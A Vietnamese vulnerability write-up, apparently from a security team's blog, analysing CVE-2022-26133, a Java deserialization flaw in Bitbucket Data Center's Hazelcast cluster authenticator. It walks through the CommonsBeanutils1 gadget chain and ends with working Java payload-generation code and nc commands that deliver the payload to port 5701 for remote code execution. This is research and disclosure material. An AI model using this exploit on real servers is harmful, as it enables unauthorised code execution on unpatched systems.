[CVE-2022-26133] Phân tích lỗ hổng Java Deserialization trong Bitbucket
![[CVE-2022-26133] Phân tích lỗ hổng Java Deserialization trong Bitbucket](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1738856694266%2Fc1f6f4fd-1e0c-49ee-a971-1a7517eb20f6.png&w=3840&q=75)
Search for a command to run...
![[CVE-2022-26133] Phân tích lỗ hổng Java Deserialization trong Bitbucket](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1738856694266%2Fc1f6f4fd-1e0c-49ee-a971-1a7517eb20f6.png&w=3840&q=75)
No comments yet. Be the first to comment.
I. Introduction Coolify is an open-source, self-hostable PaaS that lets you deploy apps, databases, and pre-baked services on your own servers — the "Vercel/Heroku/Netlify replacement, but you own the

I. Introduction Kestra is an open-source event-driven workflow orchestration platform written in Java on top of Micronaut. It lets teams declare "flows" — task graphs that move data, call APIs, run sc

Disclosure status: Reported to vendor and coordinated through a private fix path. I. Introduction Warp is an agentic development environment, born out of the terminal. Use Warp's built-in coding agent
![[CVE-2026-48731] AI-Assisted Discovery of Command Injection in Warp Terminal](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F699fec8cc9015c37f6e5364f%2Fe7817cef-a8af-45ec-b931-4e08225edeb6.png&w=3840&q=75)
Author: Anhlt91, Thuanhn Date: May 2026Tags: AI Claude Bug Hunting Closed-Source Security Research Overview I used Claude AI to find real security vulnerabilities in a closed-source enterprise produc
I. Introduction Filament is an open-source full-stack UI framework for Laravel built on top of Livewire. It lets developers compose admin panels, forms, tables, infolists, actions, and notifications a

Night-Wolf Team
58 posts
FPT Cyber Security Assurance Service
Bitbucket là một dịch vụ quản lý mã nguồn dựa trên web được cung cấp bởi Atlassian. Công nghệ cho phép các nhà phát triển làm việc cùng nhau để theo dõi, quản lý và chia sẻ mã nguồn trong các dự án phần mềm
Bitbucket hỗ trợ các hệ thống quản lý mã nguồn phổ biến như Git và Mercurial. Chương trình cung cấp các tính năng như kiểm soát phiên bản, quản lý nhánh, theo dõi vấn đề và tích hợp liên kết với các công cụ phát triển khác.
Bitbucket Cloud: Là phiên bản dựa trên đám mây của Bitbucket, cung cấp dịch vụ lưu trữ mã nguồn, quản lý dự án và CI/CD (Continuous Integration/Continuous Deployment) trực tiếp trên cloud.
Bitbucket Server: Là phiên bản Bitbucket có thể cài đặt trên các máy chủ tại chỗ (on-premises). Bitbucket Server thích hợp cho các tổ chức yêu cầu lưu trữ mã nguồn nội bộ, không dựa vào dịch vụ đám mây
Bitbucket Data Center: Là phiên bản dành cho các doanh nghiệp lớn, cần tính sẵn sàng cao và khả năng mở rộng. Bitbucket Data Center hỗ trợ clustering để đảm bảo dịch vụ không bị gián đoạn và quản lý các repository lớn với hiệu suất tốt.
Theo mô tả về lỗ hổng đã public, lỗ hổng Deserialization của Hazelcast nhúng trong Bitbucket Data Center, tương tự CVE-2016-10750 của phiên bản Hazelcast cũ nhưng ở lỗ hổng mới này thì chỉ ảnh hưởng đến Bitbucket

Bitbucket sử dụng thằng Hazelcast để lưu trữ dữ liệu vì nó là một nền tảng tính toán và lưu trữ dữ liệu trong bộ nhớ phân tán
Trong mô tả của lỗ hổng đã đề cập các version chứa lỗi và phiên bản nó được fix:
All 5.x versions >= 5.14.x
All 6.x versions
All 7.x versions < 7.6.14
All versions 7.7.x through 7.16.x
7.17.x < 7.17.6
7.18.x < 7.18.4
7.19.x < 7.19.4
7.20.0
Mình chọn version 7.18.3 và tải thêm version 7.18.4 để tìm sự khác biệt giữa hai phiên bản.
Để repoduce được thì mọi người nên tải file zip nằm trong Link này .

Ngoài ra, tải file .zip để có thể thực hiện debug nữa
Sau khi cài đặt file .zip về máy, cần cài đặt các môi trường để cài đặt cho Bitbucket bao gồm đó là:
Set JAVA_HOME và JRE_HOME, ở đây mình khuyên dùng jdk11

Cài đặt Git:

Cài đặt Postgresql Server:

Để thực hiện remote debug vào intellij ide thì thêm dòng sau vào biến JAVA_OPTS nằm trong file _start-webapp.bat ở thư mục \atlassian-bitbucket-7.18.3\bin
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

Sau khi hoàn tất các bước trên thì chúng ta sẽ chạy file start-bitbucket.bat . Sau đó truy cập vào localhost:7990 để setup web bitbucket

Mở intelij lên, add lib vào và thêm cấu hình cho remote debug

Để thực hiện debug với lib file .jar thì cần add lib vào Project Structure để đặt breakpoints

Theo mô tả trên NVD, lỗ hổng xảy ra ở chức năng SharedSecretClusterAuthenticator của Bitbucket, nó nằm ở bitbucket-service-impl.jar.
Nó nằm ở bitbucket-service-impl/com/atlassian/stash/internal/cluster/SharedSecretClusterAuthenticator.class
Nên mình sẽ diff file jar của 2 phiên bản:

ObjectDataInput lấy từ request.in() vàoPhân tích kỹ hơn ta sẽ phân tích luồng hoạt động của chức năng này bắt nguồn từ phần source sau:

→ Đây là source của Deserialization
Với phần sink là đoạn hàm receiveObject lại có readObject(). Vì vậy theo lý thuyết nếu ta kiểm soát được giá trị in thì có thể chèn vào 1 đối tượng nguy hiểm để deserialize -> RCE.

Khi đối tượng được deserialized bằng phương thức
readObject(), Java khôi phục trạng thái của đối tượng từ dữ liệu nhị phân (byte stream)
Nhưng có thể thực hiện đoạn readObject() thì hàm cần thực hiện qua được câu lệnh điều kiện If:

Hàm verifyGroupName kiểm tra xem input đầu vào có trùng khớp với groupName của hệ thống không.

Với groupName được định nghĩa ở hàm khởi tạo như sau:
@Autowired
public SharedSecretClusterAuthenticator(@Value("${hazelcast.group.name}") String groupName, @Value("${hazelcast.group.password}") String sharedSecret) {
this.groupName = groupName;
this.sharedSecret = sharedSecret;
}
Có thể thấy GroupName là groupName của hazelcast. Vào HazelcastClusterInformation.class để xem cấu hình Hazelcast Cluster. Còn HazelcastCluster lấy config từ 1 file NetworkConfig

Lúc đầu tưởng địa chỉ là localhost để kết nối nhưng thật ra là địa chỉ nằm trong setting cluster

netcat đến port 5701 của Hazel thì mình thấy nó in ra tên groupName chính là tên của user chạy bitbucker

Lí do là vì hàm verifyGroupName có câu lệnh out.writeUTF(this.groupName) để in ra cửa sổ tên groupName

Như vậy là đã biết được tên của groupName, việc bypass câu lệnh if đầu tiên là rất đơn giản, chỉ cần truyền vào 1 giá trị là groupName là được. Vì vậy, ban đầu mình đã thực hiện tạo file tên là groupName.txt với giá trị là Hi để gửi tới server, tuy nhiên kết quả lại không vượt qua:


Do đó khi netcat lại thì mình đã thực hiện lưu vào file để xem có gì đặc biệt không:

\\x00\\x00\\x00\\x02Thực hiện lại với file này ở debug


→ thành công vượt qua verifyGroupName()
Payload khai thác dựa vào CommonsBeanutils1 có Stackframe của chain như sau:
PriorityQueue#readObject()
PriorityQueue.heapify()
PriorityQueue.siftDownUsingComparator()
BeanComparator#compare()
PropertyUtils#getProperty
TemplatesImpl#getOutputProperties()
|TemplatesImpl#newTransformer()
|TemplatesImpl#getTransletInstance()
|TemplatesImpl#defineTransletClasses()
|TransletClassLoader#defineClass()
Đôi nét về CommonsBeanutils1 của Ysoserial là một dự án được tạo bởi frohoff, một người phát hiện ra lỗ hổng deserialization trên Java. Tên gọi được lấy từ Apache Commons Beanutils là một dự án khác thuộc bộ công cụ Apache Commons cung cấp một số phương thức thao tác trên các đối tượng lớp Java thông thường
Với chain này, cùng phân tích từ dưới lên trên bắt đầu với TransletClassLoader#defineClass(). Đoạn code nằm trong mô tả nằm trong com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

Ở đây chúng ta tìm hiểu về phương thức defineClass nhưng cùng tìm hiểu tại sao cách cách mà java bytecode được load.
Khi compile một chương trình java với cú pháp:
javac abc.javathì lúc này file code java sẽ được compile ra file .class (ở dạng bytecode) sau đó sẽ sử dụng command java để chạy bytecodejava abc.classfile .class này có chứa các class và các interface⇒ Javassist ra đời với mục đích giúp người lập trình thao tác với bytecode một cách dễ dàng hơn. Nhờ có javassist mà chúng ta có thể định nghĩa class mới trong runtime và sửa đổi file .class khi JVM tải nó. (chain tạo bởi Javassist)
Mục tiêu của phần cuối chain này là sẽ là tạo một class và chạy một class bằng cách truyền một mảng bytes từ bên ngoài
Như ảnh đã thể hiện, do class này không khai báo scope, scope sẽ là "default" ==> Outer class TemplatesImpl có thể truy cập inner class TransletClassLoader member hay cho phép các lớp trong cùng package có thể truy cập vào các thành viên của nhau.
Tiếp theo là TemplatesImpl#defineTransletClasses(), di chuyển xuống bên dưới class TemplatesImpl sẽ thấy class TransletClassLoader được gọi với phương thức defineClass()


Để gọi đến TemplatesImpl.defineTransletClasses() thì ta có thể tìm thấy một số method gọi đến trong TemplatesTmpl. Nhưng getTransletInstance là thứ ta cần chú ý:

Bên dưới có gọi đến newInstance() –> Nó sẽ match với cái defineClass() ta vừa phân tích ở trên. Từ đó có thể load được byte code và thực thi JavaCode.
Bởi vì tạo class bằng ClassLoader#defineClass cần phải gọi newInstance() để tạo class thành công
Tuy nhiên ở đây cần 1 điều kiện là field _name phải khác null và _class bằng null mới có thể dẫn đến chõ newInstance() được, ta có thể dùng Reflect API để set value cho chúng
Điểm trigger sẽ nằm ở chỗ TemplatesImpl#newTransformer(). Nó sẽ tạo ra một object của TransformerImpl.

Sau khi chạy demo với chain này vài lần thì có các điều kiện như sau để match thành công:
Đầu tiên, như nói ở trên là _name khác null
Thứ hai là field _class bằng null
Thứ ba là field _bytecodes thành bytecode generate bởi javassist () (vì có chỗ check sau )

Thứ tư là _tfactory cần là TransformerFactoryImpl object

TemplatesImpl#getOutputProperties có thuộc tính public và gọi đến newTransformer()

Với PropertyUtils#getProperty, static method PropertyUtils.getProperty cho phép người dùng gọi getter method của class JavaBeans bất kỳ

BeanComparator#compare() Là một class trong commons-beanutils để so sánh liệu 2 JavaBeans có giống nhau, nó implements java.util.Comparator interface với method compare() gọi đến PropertyUtils.getProperty
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
Và như chain ở trên thì điểm trigger cái compare này nằm ở PriorityQueue.siftDownUsingComparator()

Ta thấy nó gọi method compare của object comparator 2 lần. Và lần 2 có vẻ khả thi hơn. Nếu ta control được tham số x và field comparator
comparator thì có thể được control bằng constructor của class PriorityQuene
Còn x có control được không thì ta cần phải trace ngược lên trên. Ctrl+F ta có thể thấy cosiftDownUsingComparator() có thể được gọi bằng method heapify():
java.util.PriorityQueue là class đã có sẵn trong java runtime, có thể sử dụng để gọi từ readObject() -> Object#compare
Method PriorityQuene.heapify():

Điều kiện là comparator khác null là nhảy vào được
Ngoài ra method này được gọi mà không có tham số, Đại khái nó sẽ loop qua cái array quene và thực thi method siftDownUsingComparator() với 2 tham số là i và queue[i]. Vậy mục tiêu của ta là phải control được các phần tử trong array này.
Ctrl+F source code ta có thể tìm thấy 1 public method là add() để add phần tử vào mảng queue:

Điều quan trong là trong int i = (n >>> 1) - 1; phải ≥ 0 chỉ cần size là 2 trở lên là ok. Với size = 2 thì (size >>> 1) sẽ bằng 1. và i sẽ là 0. Và queue[0] sẽ là template chúng ta nhập vào chain
Và hàm heapify() chính là được gọi từ readObject() ra:

Cuối cùng viết payload cho chain vừa giải thích ở trên:
private static void serializePayload() throws Exception {
// ClassPool và CtClass để tạo một class độc hại
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass EvilClass = pool.makeClass("Evil");
EvilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "Runtime.getRuntime().exec(\\"calc.exe\\");";
CtConstructor constructor = EvilClass.makeClassInitializer();
constructor.insertBefore(cmd);
EvilClass.writeFile("./");
byte[] bytes = EvilClass.toBytecode();
// Tạo template với các 4 điều kiện nêu bên trên
TemplatesImpl template = new TemplatesImpl();
// Sử dụng reflection để truy cập và thiết lập các trường của TemplatesImpl
Class<?> temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(template, "11111");
Field _class = temp.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(template, null);
Field _bytecodes = temp.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(template, new byte[][]{bytes});
Field _tfactory = temp.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(template, new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator("lowestSetBit");
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
//Thay đổi thuộc tính của BeanComparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
//Truy cập và thay đổi cấu trúc nội bộ của hàng đợi PriorityQueue
Object[] queueArray = (Object[])((Object[])Reflections.getFieldValue(queue, "queue"));
queueArray[0] = template;
queueArray[1] = template;
// Serialize đối tượng queue vào file
try (FileOutputStream fileOut = new FileOutputStream("queue.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
out.writeObject(queue);
}
}
2.5. Kết quả
Lưu ý là đoạn đầu từ chain sẽ có 4 bytes cho số lượng bytes payload nên chúng ta để số lớn luôn
nc 192.168.20.1 5701 > groupName.txt
printf "\\xff\\xff\\xff\\x9c" | cat groupName.txt - queue.ser > finish_payload
nc 192.168.20.1 5701 < finish_payload
Thành công RCE
